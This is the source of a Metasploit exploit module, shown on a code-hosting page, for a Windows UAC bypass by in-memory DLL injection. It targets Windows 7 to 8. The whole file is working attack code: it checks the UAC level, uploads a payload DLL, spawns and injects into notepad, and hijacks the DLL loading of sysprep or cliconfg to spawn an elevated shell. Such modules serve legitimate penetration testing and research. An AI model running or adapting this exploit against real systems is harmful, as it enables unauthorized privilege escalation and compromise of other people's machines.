Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_injection.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::EXE9include Exploit::FileDropper10include Post::File11include Post::Windows::Priv12include Post::Windows::ReflectiveDLLInjection13include Post::Windows::Runas1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',20'Description' => %q{21This module will bypass Windows UAC by utilizing the trusted publisher22certificate through process injection. It will spawn a second shell that23has the UAC flag turned off. This module uses the Reflective DLL Injection24technique to drop only the DLL payload binary instead of three separate25binaries in the standard technique. However, it requires the correct26architecture to be selected, (use x64 for SYSWOW64 systems also).27If specifying EXE::Custom your DLL should call ExitProcess() after starting28your payload in a separate process.29},30'License' => MSF_LICENSE,31'Author' => [32'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',33'mitnick',34'mubix', # Port to local exploit35'Ben Campbell', # In memory technique36'Lesage', # Win8+ updates37'OJ Reeves' # Win 8+ updates38],39'Platform' => [ 'win' ],40'SessionTypes' => [ 'meterpreter' ],41'Targets' => [42[ 'Windows x86', { 'Arch' => ARCH_X86 } ],43[ 'Windows x64', { 'Arch' => ARCH_X64 } ]44],45'DefaultTarget' => 0,46'References' => [47['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],48['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']49],50'DisclosureDate' => '2010-12-31',51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_railgun_api55stdapi_sys_process_attach56stdapi_sys_process_memory_allocate57stdapi_sys_process_memory_write58stdapi_sys_process_thread_create59]60}61}62)63)64end6566def exploit67# Validate that we can actually do things before we bother68# doing any more work69validate_environment!70check_permissions!7172# get all required environment variables in one shot instead. This73# is a better approach because we don't constantly make calls through74# the session to get the variables.75env_vars = get_envs('TEMP', 'WINDIR')7677case get_uac_level78when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,79UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,80UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT81fail_with(Failure::NotVulnerable,82"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")83when UAC_DEFAULT84print_good('UAC is set to Default')85print_good('BypassUAC can bypass this setting, continuing...')86when UAC_NO_PROMPT87print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')88shell_execute_exe89return90end9192dll_path = bypass_dll_path93payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"9495upload_payload_dll(payload_filepath)9697pid = spawn_inject_proc(env_vars['WINDIR'])9899file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)100run_injection(pid, dll_path, file_paths)101102# Windows 7 this is cleared up by DLL but on Windows103# 8.1 it fails to delete the file.104register_file_for_cleanup(file_paths[:szElevDllFull])105end106107def bypass_dll_path108# path to the bypassuac binary109path = ::File.join(Msf::Config.data_directory, 'post')110111sysarch = sysinfo['Architecture']112if sysarch == ARCH_X64113unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)114fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')115end116elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)117fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')118end119120::File.join(path, "bypassuac-#{sysarch}.dll")121end122123def check_permissions!124# Check if you are an admin125vprint_status('Checking admin status...')126admin_group = is_in_admin_group?127128if admin_group.nil?129print_error('Either whoami is not there or failed to execute')130print_error('Continuing under assumption you already checked...')131elsif admin_group132print_good('Part of Administrators group! Continuing...')133else134fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')135end136137if get_integrity_level == INTEGRITY_LEVEL_SID[:low]138fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')139end140end141142def run_injection(pid, dll_path, file_paths)143vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")144begin145path_struct = create_struct(file_paths)146147vprint_status("Opening process #{pid}")148host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)149exploit_mem, offset = inject_dll_into_process(host_process, dll_path)150151vprint_status("Injecting struct into #{pid}")152struct_addr = host_process.memory.allocate(path_struct.length)153host_process.memory.write(struct_addr, path_struct)154155vprint_status('Executing payload')156thread = host_process.thread.create(exploit_mem + offset, struct_addr)157print_good("Successfully injected payload in to process: #{pid}")158client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)159rescue Rex::Post::Meterpreter::RequestError => e160print_error("Failed to Inject Payload to #{pid}!")161vprint_error(e.to_s)162end163end164165# Create a process in the native architecture166def spawn_inject_proc(win_dir)167print_status('Spawning process with Windows Publisher Certificate, to inject into...')168if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86169cmd = "#{win_dir}\\sysnative\\notepad.exe"170else171cmd = "#{win_dir}\\System32\\notepad.exe"172end173pid = cmd_exec_get_pid(cmd)174175unless pid176fail_with(Failure::Unknown, 'Spawning Process failed...')177end178179pid180end181182def upload_payload_dll(payload_filepath)183payload = generate_payload_dll({ dll_exitprocess: true })184print_status('Uploading the Payload DLL to the filesystem...')185begin186vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")187write_file(payload_filepath, payload)188register_file_for_cleanup(payload_filepath)189rescue Rex::Post::Meterpreter::RequestError => e190fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")191end192end193194def validate_environment!195fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?196197version_info = get_version_info198# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md199if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)200print_good("#{version_info.product_name} may be vulnerable.")201else202fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")203end204205if is_uac_enabled?206print_status('UAC is Enabled, checking level...')207else208unless is_in_admin_group?209fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')210end211end212end213214def get_file_paths(win_path, payload_filepath)215paths = {}216217version_info = get_version_info218if version_info.win7_or_2008r2?219paths[:szElevDll] = 'CRYPTBASE.dll'220paths[:szElevDir] = "#{win_path}\\System32\\sysprep"221paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"222paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"223else224paths[:szElevDll] = 'NTWDBLIB.dll'225paths[:szElevDir] = "#{win_path}\\System32"226# This should be fine to be left blank227paths[:szElevDirSysWow64] = ''228paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"229end230231paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"232paths[:szTempDllPath] = payload_filepath233234paths235end236237# Creates the paths struct which contains all the required paths238# the dll needs to copy/execute etc.239def create_struct(paths)240# write each path to the structure in the order they241# are defined in the bypass uac binary.242struct = ''243struct << fill_struct_path(paths[:szElevDir])244struct << fill_struct_path(paths[:szElevDirSysWow64])245struct << fill_struct_path(paths[:szElevDll])246struct << fill_struct_path(paths[:szElevDllFull])247struct << fill_struct_path(paths[:szElevExeFull])248struct << fill_struct_path(paths[:szTempDllPath])249250struct251end252253def fill_struct_path(path)254path = Rex::Text.to_unicode(path)255path + "\x00" * (520 - path.length)256end257end258259260